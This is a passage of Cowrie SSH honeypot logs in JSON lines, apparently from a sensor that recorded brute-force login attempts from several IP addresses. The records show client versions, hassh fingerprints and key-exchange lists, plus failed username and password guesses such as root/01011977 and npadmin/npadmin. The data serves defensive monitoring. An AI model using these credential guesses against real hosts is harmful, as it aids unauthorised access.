aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:11.641394Z","src_ip":"23.97.62.150","session":"39ee4b535f19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":57910,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b5e33c11fbc","protocol":"ssh","message":"New connection: 109.172.54.111:57910 (159.203.135.109:22) [session: 6b5e33c11fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:11.674963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:11.679798Z","src_ip":"109.172.54.111","session":"6b5e33c11fbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:11.780463Z","src_ip":"109.172.54.111","session":"6b5e33c11fbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01011977","message":"login attempt [root/01011977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:12.113607Z","src_ip":"109.172.54.111","session":"6b5e33c11fbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd1","message":"login attempt [root/passwd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:12.338456Z","src_ip":"23.97.62.150","session":"39ee4b535f19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:13.215647Z","src_ip":"109.172.54.111","session":"6b5e33c11fbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:13.573442Z","src_ip":"23.97.62.150","session":"39ee4b535f19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.135.235.126","src_port":59234,"dst_ip":"10.17.0.5","dst_port":22,"session":"2987fd5a325e","protocol":"ssh","message":"New connection: 115.135.235.126:59234 (10.17.0.5:22) [session: 2987fd5a325e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:23.536119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:23.539962Z","src_ip":"115.135.235.126","session":"2987fd5a325e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:23.808242Z","src_ip":"115.135.235.126","session":"2987fd5a325e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"npadmin","password":"npadmin","message":"login attempt [npadmin/npadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:25.489101Z","src_ip":"115.135.235.126","session":"2987fd5a325e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:26.773391Z","src_ip":"115.135.235.126","session":"2987fd5a325e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.173.103.113","src_port":60344,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e3e37b7306b","protocol":"ssh","message":"New connection: 45.173.103.113:60344 (10.17.0.5:22) [session: 6e3e37b7306b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:38.710662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:38.714416Z","src_ip":"45.173.103.113","session":"6e3e37b7306b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:38.816431Z","src_ip":"45.173.103.113","session":"6e3e37b7306b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kserge","password":"123456","message":"login attempt [kserge/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:39.254348Z","src_ip":"45.173.103.113","session":"6e3e37b7306b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:40.359434Z","src_ip":"45.173.103.113","session":"6e3e37b7306b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":51424,"dst_ip":"159.203.135.109","dst_port":22,"session":"69c72b18a3b5","protocol":"ssh","message":"New connection: 94.159.110.201:51424 (159.203.135.109:22) [session: 69c72b18a3b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:24:28.502468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:24:28.512332Z","src_ip":"94.159.110.201","session":"69c72b18a3b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:24:28.622705Z","src_ip":"94.159.110.201","session":"69c72b18a3b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sonata","message":"login attempt [root/sonata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:24:28.952469Z","src_ip":"94.159.110.201","session":"69c72b18a3b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:24:30.065243Z","src_ip":"94.159.110.201","session":"69c72b18a3b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":53416,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f511bb9b390","protocol":"ssh","message":"New connection: 103.98.149.87:53416 (10.17.0.5:22) [session: 1f511bb9b390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:24:39.394564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:24:39.617081Z","src_ip":"103.98.149.87","session":"1f511bb9b390","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:24:39.954263Z","src_ip":"103.98.149.87","session":"1f511bb9b390","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sergeya","message":"login attempt [root/sergeya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:24:41.554184Z","src_ip":"103.98.149.87","session":"1f511bb9b390","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:24:43.589398Z","src_ip":"103.98.149.87","session":"1f511bb9b390","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.135.235.126","src_port":32986,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4058c8f564c","protocol":"ssh","message":"New connection: 115.135.235.126:32986 (10.17.0.5:22) [session: b4058c8f564c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:25:00.483894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:25:00.493624Z","src_ip":"115.135.235.126","session":"b4058c8f564c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:25:00.788491Z","src_ip":"115.135.235.126","session":"b4058c8f564c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sabina","password":"sabina123","message":"login attempt [sabina/sabina123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:25:01.926642Z","src_ip":"115.135.235.126","session":"b4058c8f564c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:25:03.195937Z","src_ip":"115.135.235.126","session":"b4058c8f564c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.173.103.113","src_port":38128,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6f311b2c5df","protocol":"ssh","message":"New connection: 45.173.103.113:38128 (10.17.0.5:22) [session: d6f311b2c5df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:25:15.896554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:25:15.903292Z","src_ip":"45.173.103.113","session":"d6f311b2c5df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:25:16.006872Z","src_ip":"45.173.103.113","session":"d6f311b2c5df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:25:16.464475Z","src_ip":"45.173.103.113","session":"d6f311b2c5df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.255.100.194","src_port":48592,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c58bc3a30a5","protocol":"ssh","message":"New connection: 185.255.100.194:48592 (10.17.0.5:22) [session: 3c58bc3a30a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:25:17.374755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:25:17.383821Z","src_ip":"185.255.100.194","session":"3c58bc3a30a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:25:17.393919Z","src_ip":"185.255.100.194","session":"3c58bc3a30a5","protocol":"ssh"}
